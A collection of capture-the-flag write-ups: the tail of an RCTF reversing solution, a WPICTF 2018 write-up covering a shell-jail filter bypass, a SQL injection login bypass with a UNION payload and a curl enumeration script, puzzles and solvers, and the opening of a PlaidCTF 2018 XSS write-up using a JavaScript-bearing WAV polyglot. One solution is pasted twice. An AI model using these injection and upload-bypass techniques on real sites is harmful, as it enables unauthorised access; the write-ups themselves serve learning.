if ( !not_0_key[0] ) exit(0); LOBYTE(a5.field_0) = 0; a5.field_0 = not_0_key[0]; dynamic_str_gen(&buf, (char *)0x31, not_0_key[0], a4); input = 0i64; v10 = 0i64; v11 = 0i64; v12 = 0i64; LODWORD(input) = 538976288; a5.input = (char *)&input + 4; scanf("%26s", (char *)&input + 4); sym_encode((__int64)a5.input, 26i64, (unsigned __int64)&a5, (char *)4, input, v10); if ( !(unsigned int)need_return_non0(a5.input) ) return dynamic_str_gen(&byte_4052D1, (char *)6, not_0_key[0], v4); sym_encode((__int64)a5.input, 26i64, (unsigned __int64)&a5, (char *)4, input, v10); sub_401FFB(v5); dynamic_str_gen(&byte_4052E0, (char *)0x23, not_0_key[0], v6); puts((const char *)&input); return dynamic_str_gen(&byte_4052E0, (char *)0x23, not_0_key[0], v7);}
__int64 __usercall need_return_non0@<rax>(char *input@<rcx>){ int opcode; // eax int v2; // eax char Buf; // [rsp+20h] [rbp-110h] unsigned int v5; // [rsp+124h] [rbp-Ch] int v6; // [rsp+128h] [rbp-8h] int nxt_ip; // [rsp+12Ch] [rbp-4h]
strncpy(::input, input, 0x1Aui64); signal(SIGFPE, sub_402930); nxt_ip = 0; v6 = 1; v5 = 0; r1 = (unsigned __int64)keys; r2 = (unsigned __int64)::input; while ( v6 ) { opcode = setjmp(&Buf;; // pre: nxt ip opcode + 1 // post: next instruction opcode if ( opcode == 168 ) { reg[vmcode[nxt_ip] >> 4] -= reg[vmcode[nxt_ip] & 0xF]; ++nxt_ip; } else if ( opcode > 168 ) { if ( opcode == 172 ) { reg[vmcode[nxt_ip] >> 4] &= reg[vmcode[nxt_ip] & 0xF]; ++nxt_ip; } else if ( opcode > 172 ) { if ( opcode == 174 ) { reg[vmcode[nxt_ip] >> 4] ^= reg[vmcode[nxt_ip] & 0xF]; ++nxt_ip; } else if ( opcode < 174 ) { // 173 reg[vmcode[nxt_ip]] = (unsigned __int8)~LOBYTE(reg[vmcode[nxt_ip]]); ++nxt_ip; } else { if ( opcode != 175 ) goto LABEL_43; r8_ = vmcode[nxt_ip] >> 4; // 175 r9_ = vmcode[nxt_ip] & 0xF; if ( !setjmp(::Buf) ) // always 0 FIRST TIME vmcode[nxt_ip] = r8_ / vmcode[nxt_ip + 1]; nxt_ip += 2; } } else if ( opcode == 170 ) { reg[vmcode[nxt_ip]] = reg[vmcode[nxt_ip + 1]]; nxt_ip += 2; } else if ( opcode > 170 ) // 171 { reg[vmcode[nxt_ip]] = vmcode[nxt_ip + 1]; nxt_ip += 2; } else { // 169 reg[vmcode[nxt_ip] >> 4] += reg[vmcode[nxt_ip] & 0xF]; ++nxt_ip; } } else if ( opcode == 163 ) { reg[vmcode[nxt_ip] >> 4] |= reg[vmcode[nxt_ip] & 0xF]; ++nxt_ip; } else if ( opcode > 163 ) // < 168 { if ( opcode == 166 ) { if ( !r5 ) nxt_ip += (char)vmcode[nxt_ip]; ++nxt_ip; } else if ( opcode > 166 ) // 167 { if ( r5 ) nxt_ip += (char)vmcode[nxt_ip]; ++nxt_ip; } else { if ( opcode != 165 ) goto LABEL_43; nxt_ip += vmcode[nxt_ip]; ++nxt_ip; } } else if ( opcode == 160 ) { reg[vmcode[nxt_ip]] = *(unsigned __int8 *)reg[vmcode[nxt_ip]]; ++nxt_ip; } else if ( opcode == 162 ) { ++nxt_ip; reg[vmcode[nxt_ip]] >>= reg[vmcode[nxt_ip]]; ++nxt_ip; } else { if ( !opcode ) { v2 = nxt_ip++; longjmp_0(&Buf, vmcode[v2]); }LABEL_43: v6 = 0; v5 = r5; } } return v5;}```
`need_return_non0` is a virtual machine based on `setjmp`, which returns 0 at the first time, and returns non-zero by calling `long_jmp`, which is the opcode as shown. More detail: [http://en.cppreference.com/w/cpp/utility/program/setjmp](http://en.cppreference.com/w/cpp/utility/program/setjmp)
The opcodes are not so long and not so hard, so I did it by hand. One instruction is interesting:
```c r8_ = vmcode[nxt_ip] >> 4; // 175 r9_ = vmcode[nxt_ip] & 0xF; if ( !setjmp(::Buf) ) // always 0 FIRST TIME vmcode[nxt_ip] = r8_ / vmcode[nxt_ip + 1]; // for every 175 instruction, this is 0 // which throw the exception being handled in sub_402930 nxt_ip += 2;
void __fastcall __noreturn sub_402930(__int64 a1, void (__cdecl *a2)(int), __int64 a3, int a4){ if ( (_DWORD)a1 == SIGFPE ) { signal(SIGFPE, sub_402930); reg[r8_] = reg[r8_] == reg[r9_]; longjmp_0(Buf, 0); } exit(1);}/*This actually means175: r8=rah, r9=ralif (bb == 0) r[r8] = reg[r8] == reg[r9]else aa = r8 / bb
whereaa is first agument, bb is second argumentxh is high nibble, xl is low nibble
This can be used to do conditional jmp*/```
After translating, the virtual machine is basically doing:
```; r1 = (unsigned __int64)keys;; r2 = (unsigned __int64)::input;movzx r3,0movzx r4,26movzx r0,102loop:mov r5,r2add r8,r3movzx r5, byte [r5]mov r6,204add, r8,r6movzx r6,255and r8,r6xor r8,r0not r0mov r6,r5mov r5,r1add 83movzx r5,[r5]r8 = 0, r9 = 6r5 jmp next:return r5next:add 53mov r5,r3r8 = 0, r9 = 4!r5 jmp ? jmp loopreturn r5
175: r8=rah, r9=ralif (bb == 0) r[r8] = reg[r8] == reg[r9]else aa = r8 / bb
174: xor rah,ral173: not raa(LOBYTE)172: and rah,ral171: movzx raa, bb170: mov raa,rbb169: add rah,ral167: r5 ? jmp nxtins + (sx)aa166: !r5 ? jmp nxtins + (sx)aa160: movzx raa,byte [raa]
aa is first agument, bb is second argumentxh is high nibble, xl is low nibble```
Which is not hard to understand and write a bruteforce cracker for!
```cint main2(){ uint8_t r0 = 102; for (size_t i = 0; i < 26; i++) { for (int c = 0; c < 256; c++) { if ((((c + 204) & 0xff) ^ r0) == ckeys2[i]) { printf("%.2x", (uint8_t)c); } } r0 = ~r0; }//238cbefd25d765f4b6b3b60fe174a2effc384ed21a4ab11096a5 system("pause"); return 0;}```
However, this is not the flag, `sym_encode` is used to encode input first, so we need to find an input that, when put into this encode function, produces the result above. However, we don't need reverse this function, this encoding is symetric, bacause it is called twice to the same input, and it gives input (you may see this by debugging and changing the ZF bit even if the input is incorrect), so `encode(encode(x)) = x`, which means `encode` = `decode`. So what we need to do is to debug, set a breakpoint at `sym_encode`, run and give it an arbitrary input, change the buffer of input to `238cbefd25d765f4b6b3b60fe174a2effc384ed21a4ab11096a5`, step over `sym_encode`, and see the flag in the buffer.

And if we put this into the program, we can see:

Initially I didn't realize what this is, but after sending it by IM to ask my teammates for help, I found that it is `rctf{h` clearly since the picture is smaller in messenger :D
So the flag is:
`rctf{h@ck_For_fun_02508iO2_2iOR}` |
# 2018-04-13-WPICTF #
[CTFTime link](https://ctftime.org/event/600) | [Website](https://wpictf.xyz/)
---
## Challenges ##
### pwn ###
- [ ] 100 ezpz - [x] [150 Shell-JAIL-1](#pwn--150-shell-jail-1) - [ ] 200 Forker.1 - [x] [250 Shell-JAIL-2](#pwn--250-shell-jail-2) - [ ] 300 Breakingout - [ ] 300 Forker.2 - [ ] 500 Forker.3 - [ ] 750 Forker.4
### Forensics ###
- [ ] 200 Big Guy - [ ] 400 jay-peg
### Web ###
- [x] [150 Dance](#web--150-dance) - [x] [200 Vault](#web--200-vault)
### Crypto ###
- [ ] 200 guess5
### Reversing ###
- [x] [50 Penguin](#reversing--50-penguin) - [ ] 150 kerning
### Misc ###
- [x] [1 Read](#misc--1-read) - [x] [2 Get a job](#misc--2-get-a-job) - [x] [5 Feedback](#misc--5-feedback) - [x] [10 Discord](#misc--10-discord) - [x] [50 Kittens](#misc--50-kittens) - [x] [100 Sneakers](#misc--100-sneakers) - [x] [100 Bitpuzzler](#misc--100-bitpuzzler)
### Recon ###
- [ ] 50 Window
---
## pwn / 150 Shell-JAIL-1 ##
**Files provided**
> login (SSH key, not disclosed)
**Description**
> Download the login private key, then run:> > ssh -p 31337 -i login [email protected]> > redundant servers on 31338 and 31339> > made by Ben Chaney
**Solution**
After logging in, we are put immediately into `/home/pc_owner`, on a very restricted machine:
$ whoami shjail
$ touch /tmp/file touch: /tmp/file: Read-only file system
Everything else is read-only.
$ ls -al total 28 drwxr-xr-x 1 pc_owner pc_owner 4096 Apr 13 08:03 . drwxr-xr-x 1 root root 4096 Apr 13 08:03 .. -r-sr-sr-x 1 pc_owner pc_owner 10880 Apr 13 08:03 access -r--r--r-- 1 pc_owner pc_owner 1005 Apr 13 04:50 access.c -r--r----- 1 pc_owner pc_owner 23 Apr 13 04:50 flag.txt
There is an executable, `access`, with the `setuid` bit set. `access.c` is the source code for `access`, and `flag.txt` is our target. Clearly we need to use `access` to read `flag.txt` somehow.
$ cat access.c /* ... */ int filter(const char *cmd){ int valid = 1; valid &= strstr(cmd, "*") == NULL; valid &= strstr(cmd, "sh") == NULL; valid &= strstr(cmd, "/") == NULL; valid &= strstr(cmd, "home") == NULL; valid &= strstr(cmd, "pc_owner") == NULL; valid &= strstr(cmd, "flag") == NULL; valid &= strstr(cmd, "txt") == NULL; return valid; } int main(int argc, const char **argv){ setreuid(UID, UID); char *cmd = gen_cmd(argc, argv); if (!filter(cmd)){ exit(-1); } system(cmd); }
The executable runs whatever arguments we give it as the `pc_owner` user. However, many substrings are forbidden, including `flag`, so we can't just `cat flag.txt`. `*`, the basic wildcard in shell globbing is forbidden also. Luckily, there is another wildcard: [the `?` wildcard](http://www.tldp.org/LDP/abs/html/special-chars.html#WILDCARDQU), which stands for any single character. So:
$ ./access "cat fl?g.t?t" wpi{MaNY_WayS_T0_r3Ad}
---
## pwn / 250 Shell-JAIL-2 ##
**Files provided**
> login (SSH key, not disclosed)
**Description**
> Download the login private key, then run:> > ssh -p 31337 -i login [email protected]> > redundant servers on 31338 and 31339> > made by Ben Chaney
**Solution**
Same set up as the previous challenge, with one significant difference in `main`:
int main(int argc, const char **argv){ setreuid(UID, UID); char *cmd = gen_cmd(argc, argv); if (!filter(cmd)){ exit(-1); } setenv("PATH", "", 1); system(cmd); }
The `PATH` environment variable is cleared, so `cat` will not work anymore. We will have to use one of the [shell builtins](https://www.gnu.org/software/bash/manual/html_node/Bourne-Shell-Builtins.html). Here is a simple method:
$ ./access "source fl?g.t?t" sh: flag.txt: line 1: wpi{p0s1x_sh3Lls_ar3_w13rD}: not found
This attempts to parse `flag.txt` as a shell script, which naturally fails. Luckily, the error message prints out the flag for us.
---
## Web / 150 Dance ##
**No files provided**
**Description**
> https://dance.wpictf.xyz> > by binam
**Solution**
Navigating to the URL in a browser immediately redirects us to [this helpful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s). After taking some inspiration from the video, we attempt a non-browser approach:
$ curl "https://dance.wpictf.xyz" <title>Redirecting...</title> <h1>Redirecting...</h1> You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link.
Still not terribly useful. Let's enable verbose mode for `curl`:
$ curl -v https://dance.wpictf.xyz > GET / HTTP/1.1 ... > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 19:35:02 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <title>Redirecting...</title> ...
Two cookies are given:
> `flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=`
This should be our flag. It looks like base64, but it produces garbage after decoding.
> `Julius C.="got good dance moves."`
Julius C. here is a hint / reference to Julius Caesar, and hence the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher). This cipher applies to letters and leaves numbers and other data intact. Applying it to the decoded flag data is not much use (mostly binary data). So we try to apply the shift with all 25 keys to the base64 string itself:
#!/usr/bin/env python import base64, string flag = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=" upper = string.ascii_uppercase lower = string.ascii_lowercase for key in range(1, 26): shift = string.maketrans( upper + lower, upper[key:] + upper[:key] + lower[key:] + lower[:key]) print key, base64.b64decode(string.translate(flag, shift))
> [link to script](scripts/web-150-dance-shift.py)
(Or use a website like [this](https://www.xarg.org/tools/caesar-cipher/).)
And, sure enough, with a key of 17, we get:
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
---
## Web / 200 Vault ##
**No files provided**
**Description**
> https://vault.wpictf.xyz> > UPDATE: everything fixed> > by GODeva
**Solution**
You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link.
Still not terribly useful. Let's enable verbose mode for `curl`:
$ curl -v https://dance.wpictf.xyz > GET / HTTP/1.1 ... > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 19:35:02 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <title>Redirecting...</title> ...
Two cookies are given:
> `flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=`
This should be our flag. It looks like base64, but it produces garbage after decoding.
> `Julius C.="got good dance moves."`
Julius C. here is a hint / reference to Julius Caesar, and hence the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher). This cipher applies to letters and leaves numbers and other data intact. Applying it to the decoded flag data is not much use (mostly binary data). So we try to apply the shift with all 25 keys to the base64 string itself:
#!/usr/bin/env python import base64, string flag = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=" upper = string.ascii_uppercase lower = string.ascii_lowercase for key in range(1, 26): shift = string.maketrans( upper + lower, upper[key:] + upper[:key] + lower[key:] + lower[:key]) print key, base64.b64decode(string.translate(flag, shift))
> [link to script](scripts/web-150-dance-shift.py)
(Or use a website like [this](https://www.xarg.org/tools/caesar-cipher/).)
And, sure enough, with a key of 17, we get:
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
---
## Web / 200 Vault ##
**No files provided**
**Description**
> https://vault.wpictf.xyz> > UPDATE: everything fixed> > by GODeva
**Solution**
We are greeted with a login screen. The page sourcecode has two interesting comments:
We are given the full schema for the `clients` table, so it is pretty clear we will be dealing with a SQL injection of some sort. The other comment:
$ echo "V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt" | base64 -D What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham
So just a red herring. The register button links to [this useful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ). Let's try putting some data in the form.
> Username: '> Password: x
Very useful! We can even expand the last entry in the traceback to see the surrounding code:
> File "/home/vault/vault/secretvault.py", line 58, in login> connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))> pointer = connection.cursor()> > search = """SELECT id, hash, salt FROM clients> WHERE clientname = '{0}' LIMIT 1""".format(clientname)> pointer.execute(search)> > res = pointer.fetchone()> if not res:> return "No such user in the database {0}!\n".format(clientname)> userID, hash, salt = res
Very clear SQL injection vulnerability. Unfortunately, it looks like the server first selects a row from the table based on `clientname`, then checks the `hash` + `salt` at a later point. No problem, we can use a SQL `UNION` statement to make our own login credentials. We make an informed guess that the hashing algorithm is SHA-256. It is not clear whether the salt is appended or prepended, so let's just not have any. We can find out the SHA-256 hash of a password of our choosing easily:
$ python -c 'from hashlib import sha256; print sha256("foobar").hexdigest()' c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
The full data that we'd like to have in the table is:
| `id` | `hash` | `salt` || --- | --- | --- || "0" | "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" | "" |
We'll get to `id` later, so we put 0 for now (but the column type is still `VARCHAR(255)`). Knowing the query the server executes, we construct the following injection:
' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" --
So after Python formats the query string, the result is:
SELECT id, hash, salt FROM clients WHERE clientname = '' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", ""
(Everything after is ignored due to the comment marker ` -- `.)
In other words, the server is looking for clients with `clientname` equal to the empty string, and concatenates the (non-existent) results of that query with our inline data.
To login:
> Username: ' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > Password: foobar
It works, and we are greeted with the message:
Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ" (Log out)
I'll let you guess what that video is. There is nothing else we can change in our login except for the `id` - it seems the server serves different "digital secrets" based on the `id` of the logged-in user. We can figure out the `id` for user `Goutham`, since the red herring comment hinted that `Goutham` knows the flag. Given that `id` is a `VARCHAR(255)`, the search space could be quite large, and we could use a character-by-character binary search. Luckily, it is a single digit.
#!/bin/bash for id in {0..9}; do echo "$id" curl --data-urlencode "clientname=Goutham' AND id = '$id' -- " \ --data-urlencode "password=a" "https://vault.wpictf.xyz/login" done
> [link to script](scripts/web-200-vault-getid.sh)
The above script injects the additional condition for `id` value into the SQL query. Only when both `clientname` and `id` match a record in the table will a row be found in the result. We can distinguish the two cases based on the different error messages produces ("no such user" vs. "incorrect password"). So we find out that `Goutham` has `id` "2".
> Username: ' UNION SELECT "2", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > Password: foobar
And that works:
Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}" (Log out)
---
## Reversing / 50 Penguin ##
**Files provided**
> [`penguin`](files/50-penguin) (binary file)
**Description**
> made by awg
**Solution**
This challenge asks us to give it the flag in the argument and it tells us whether or not it is the correct flag. There are some interesting strings to be found:
$ strings penguin ... _hexedit} _fly._ learn_ have_ _still_ _wings,_ gives_ only_ strings_ WPI{ ...
Useful, but `WPI{strings_only_gives__wings,__still_have_learn__fly.__hexedit}` is not the flag. Clearly something is missing. If we do a hexdump, we can locate the strings found:
$ xxd penguin ... 0000a20: 6974 2100 5752 4f4e 4700 5f68 6578 6564 it!.WRONG._hexed 0000a30: 6974 7d00 7472 7900 5f66 6c79 2e5f 005f it}.try._fly._._ 0000a40: 746f 0068 6f77 006c 6561 726e 5f00 746f to.how.learn_.to 0000a50: 5f00 6861 7665 5f00 5f73 7469 6c6c 5f00 _.have_._still_. 0000a60: 796f 7500 5f77 696e 6773 2c5f 0067 6976 you._wings,_.giv 0000a70: 6573 5f00 6f6e 6c79 5f00 7374 7269 6e67 es_.only_.string 0000a80: 735f 0057 5049 7b00 011b 033b 3c00 0000 s_.WPI{....;<... ...
So, with some intense word reading in reverse and guessing based on consecutive underscores in our initial guess, we get:
WPI{strings_only_gives_you_wings,_you_still_have_to_learn_how_to_fly._try_hexedit}
> Note: The challenge was solved using `radare2`, but I like to think this method was plausible. And more importantly, I did not want to get into annotating the lenghty, visual-heavy process of debugging a binary with `radare2`.
---
## Misc / 1 Read ##
**No files provided**
**Description**
> WPI{Hey_You_can_R3AD!}
**Solution**
...
---
## Misc / 2 Get a job ##
**No files provided**
**Description**
> WPI{Get_a_job}
**Solution**
...
> Note: the text in the description was a link to a careers page of some company. Unfortunately, I don't have the link URL anymore.
---
## Misc / 5 Feedback ##
> Note: this was a link to a survey, which gave the flag.
---
## Misc / 10 Discord ##
**No files provided**
**Description**
> (discord link)> > Flag is somewhere in discord. /flag bot does not reply to messages. It's only there for kittens.
**Solution**
The topic of the `#discord_chal` channel was `WPI{Welcome_to_Disc0rd_ya-D00fus} is the flag for the discord challenge.`
## Misc / 50 Kittens ##
**No files provided**
**Description**
> discord> > created by binam> > this challenge is stupid
**Solution**
The `#discord_chal` channel had a bot which responded to `flag` in messages:
[1:00 PM] User: flag [1:00 PM] BOT/flag: @User, Every time you type "flag", a kitten dies! You killed 1 kittens. Total dead kitten count: 100
Putting hundreds of `flag` in one message was allowed. After 65535, the counter overflowed, and the bot printed a flag for the user. However, the message with the flag was automatically removed after a short while.
## Misc / 100 Sneakers ##
**No files provided**
**Description**
> nc sneakers.wpictf.xyz 31337> > redundant servers on 31338 and 31339> > made by rm -k> > Hint: ?v=F5bAa6gFvLs
**Solution**
The hint is for [this video](https://www.youtube.com/watch?v=F5bAa6gFvLs).
After `nc sneakers.wpictf.xyz 31337`, we are greeted with a big block of 1's and 0's:
00 01 10 10 11 10 11 10 00 01 10 00 01 10 10 00 10 10 10 01 00 11 01 10 00 01 00 01 00 11 01 00 11 11 01 00 10 11 00 10 01 01 00 10 00 10 10 00 00 10 10 00 10 00 00 00 00 10 00 00
10 10 10 00 01 10 10 11 01 11 10 10 00 00 00 01 00 10 10 00 10 10 01 00 11 01 11 00 10 01 00 10 11 00 00 10 00 10 10 00 10 10 00 00 10 00 10 10 00 10 00 10 10 00 01 00 10 10 10 00
10 11 10 11 00 11 01 10 10 00 11 10 10 00 01 10 10 00 11 10 01 01 10 01 00 11 10 10 01 00 01 01 00 00 11 11 01 00 10 10 10 10 10 11 00 00 00 11 00 00 11 10 11 00 10 00 00 00 00 10
10 11 00 01 11 00 11 10 10 00 11 10 11 00 11 10 10 10 10 00 00 11 00 10 10 00 01 01 00 00 00 00 01 00 10 11 01 10 01 00 00 00 00 00 00 00 11 10 11 00 00 00 10 00 10 10 10 11 00 00
01 10 10 01 00 11 10 10 00 10 10 10 00 10 01 01 10 10 10 10 11 11 00 11 00 01 01 00 00 00 11 01 00 10 10 10 00 00 10 10 10 00 00 10 00 11 10 11 00 00 10 00 00 11 00 10 11 00 10 10
11 00 01 11 11 10 01 10 10 11 00 00 00 11 10 10 10 01 10 00 01 00 10 00 10 00 10 11 01 01 11 00 00 10 10 01 00 10 01 00 11 00 00 10 10 00 00 10 00 00 01 00 01 10 10 00 00 10 00 00
01 11 11 10 00 00 11 10 11 01 01 11 10 10 00 00 01 11 00 10 11 01 10 01 00 00 00 01 01 11 10 01 00 01 00 00 10 01 00 10 10 11 10 00 00 10 00 10 10 10 00 10 11 00 10 00 00 10 00 00
10 10 01 10 10 10 00 01 10 00 10 10 11 01 11 00 00 00 10 10 11 00 10 10 10 01 00 11 01 00 10 01 11 10 01 11 00 00 11 01 10 00 00 10 10 00 00 10 10 00 00 00 00 00 10 01 00 01 00 10
01 00 01 10 00 01 10 01 01 10 00 10 00 10 10 01 11 10 11 01 11 00 11 01 00 11 11 10 11 01 00 00 00 11 01 10 10 01 01 10 01 00 10 10 00 01 10 00 10 00 00 00 00 10 00 10 10 10 10 10
10 00 00 00 01 10 01 01 10 00 10 10 11 10 00 10 10 01 00 10 01 00 00 00 11 11 10 11 01 00 01 00 00 11 00 11 01 11 00 01 00 11 00 01 01 10 00 10 00 00 00 00 00 00 00 10 10 01 00 10
11 00 10 10 10 01 10 10 10 00 10 01 00 01 01 00 01 00 10 11 10 00 10 11 00 10 10 10 01 00 00 10 00 01 11 00 10 00 00 01 00 00 00 10 00 00 10 10 00 00 00 10 00 11 00 10 10 00 00 10
11 00 01 10 00 01 00 00 01 10 10 11 00 11 10 10 11 10 00 10 01 00 01 00 00 10 10 00 11 11 01 01 00 10 10 00 00 01 00 00 00 00 11 00 10 10 00 00 10 00 00 10 00 10 10 00 00 00 00 00
11 00 00 11 00 00 10 01 00 01 10 10 00 10 11 11 00 10 11 00 01 00 00 00 00 00 00 11 00 11 11 01 00 01 01 01 00 01 10 00 10 00 10 11 10 00 00 10 00 10 00 00 00 00 10 00 00 10 00 00
01 10 10 00 10 10 01 00 00 00 01 10 01 01 00 11 10 10 11 01 11 11 01 00 11 01 11 11 00 00 11 11 10 10 00 00 01 00 01 10 10 00 00 00 10 10 01 01 00 01 10 00 00 10 00 10 00 00 10 10
00 01 10 10 01 00 10 10 10 00 01 10 10 10 10 00 10 10 01 01 00 11 11 00 11 00 00 10 10 00 11 11 11 01 01 00 11 01 11 10 00 10 00 00 10 00 00 10 10 00 10 00 10 00 00 00 10 10 01 10
00 10 10 10 00 01 10 01 01 01 10 11 00 10 11 00 10 00 01 01 00 00 11 01 00 11 11 10 11 11 01 01 00 01 01 00 00 00 10 10 00 00 10 00 00 01 10 00 10 10 00 10 00 10 10 00 00 00 10 00
11 11 10 10 00 10 01 11 10 00 10 11 00 01 11 11 10 01 00 00 01 11 10 01 00 10 10 01 01 00 01 10 00 10 01 10 00 11 10 00 10 00 10 00 00 10 00 10 00 00 10 00 00 00 10 10 11 10 00 00
01 11 00 01 10 10 00 11 10 10 11 00 00 00 00 11 00 00 00 11 10 01 00 11 11 01 00 10 01 11 00 00 11 11 11 00 11 11 11 00 00 10 00 10 00 00 00 00 10 10 10 00 01 01 01 11 01 01 01 11
00 00 00 11 00 11 11 11 00 11 01 01 01 11 01
Given the video which features a blind hacker using a Braille "monitor", it was quite clear these 1's and 0's represented Braille characters.
After some automated deciphering:
Welcome to the brai lle terminal! I'll only give you the fl ag if you can prove that you are visuall y impaired. Please type 'continue' in b raille to begin. Ho w to write a respons e- Write each row o f braille as 0's an d 1's, then place a n 'x' at the end of the row. This means that all three rows are written on a si ngle line of input, in the form ...x...x
The individual parts of the challenge asked to:
- type `continue` - solve a simple mathematical problem and give the numerical solution - type `ACCESS FLAG!` - type `please`
The final `please` was a response to the server saying "Ah ah ah, you didn't say the magic word!", and referencing [this video](https://www.youtube.com/watch?v=RfiQYRn7fBg).
## Misc / 100 Bitpuzzler ##
**No files provided**
**Description**
> nc bitpuzzler.wpictf.xyz 31337> > redundant servers on 31338 and 31339> > made Jacob Henry
**Solution**
Connecting to the given server results in it printing something like:
----- #include <stdlib.h> #include <stdio.h> #include <stdint.h>
inline int64_t pmod(int64_t x) { int64_t v = x % 13707217; if(v < 0) return v + 13707217; else return v; }
int main(int argc, char** argv) { int64_t x; scanf("%ld", &x); x = pmod(x); x = pmod(x - 2765383); x = pmod(x - 11088075); x = pmod(x + 53063); // etc etc etc, for a total of 100 operations x = pmod(x * 2486459); x = pmod(x * 4797058); x = pmod(x * 8426160); if(x == 8594918) { printf("Success\n"); return 0; } else { printf("Failure\n"); return 1; } } -----
With different numbers every time. This challenge required some automation, since the server would automatically close the connection after 10 seconds. Furthermore, the server gives a dozen or two scripts like the above one after the other.
The automated solver is fairly simple. It requires reversing the operations from the target number and finding out the correct input. Addition and subtraction in modular arithmetic are very simple. The only slightly non-trivial operation to reverse is the multiplication, which requires solving a linear congruence equation (like `a * b === c mod m`, find `b` for a given `a`, `c`, and `m`). Checking each integer in the range `[1; m)` is just too slow, so the [Extended Euclidian algorithm](https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm) was used. |
# PlaidCTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180505-plaidctf/) of this writeup.**
- [PlaidCTF 2018](#plaidctf-2018) - [web](#web) - [idIoT: Action (bookgin)](#idiot-action-bookgin) - [idIoT: Camera (unsolved, written by bookgin)](#idiot-camera-unsolved-written-by-bookgin)
## web
### idIoT: Action (bookgin)
After login, we can post a clip of audio with title and description. The description filed is vulnerable to XSS. We insert `<marquee>xss</marquee>` in to the description and find it works!
However, let's take a look at Content Security Policy:
```style-src 'self' https://fonts.googleapis.com;font-src 'self' https://fonts.gstatic.com;media-src 'self' blob:;script-src 'self';object-src 'self';frame-src 'self'```
Note that `image-src` is not defined. We can insert `` to check if the headless robot is browsing this clip.
It's impossible to XSS directly in the description because `script-src self` will block the inline javascript. However, if we can upload a javascript, we can use `<script src="...">` to execute the payload! But how?
The website allows the user to upload an audio clip, with file extension ogg/wav/wave/webm/mp3. The server site seems to validate the audio header. A plain text file cannot be uploaded.
This is easy to bypass. We simply manipulate the WAV format and comment out the header field. Then, insert the javascript payload after the header.
```00000000: 5249 4646 3d31 2f2a 5741 5645 666d 7420 RIFF=1/*WAVEfmt00000010: 1000 0000 0100 0100 c05d 0000 80bb 0000 .........]......00000020: 0200 1000 4c49 5354 1a00 0000 494e 464f ....LIST....INFO00000030: 4953 4654 0e00 0000 4c61 7666 3537 2e38 ISFT....Lavf57.800000040: 332e 3130 3000 6461 7461 80d8 0100 0000 3.100.data......00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000080: 0000 0000 0000 0000 0000 0000 ffff 0000 ................00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................000000c0: 0000 0000 0000 0000 2a2f 0a3b 616c 6572 ........*/.;aler000000d0: 7428 3129 3b0a t(1);.```
After uploading this evil wav, we are trying to XSS with `<script src="uploads/filename.wav"></script>` but it didn't work. The reason is the Apache server will return the content-type `audio/wave`. The browser will check the type. If the type is `audio`, the broser will not include the file for security reason.
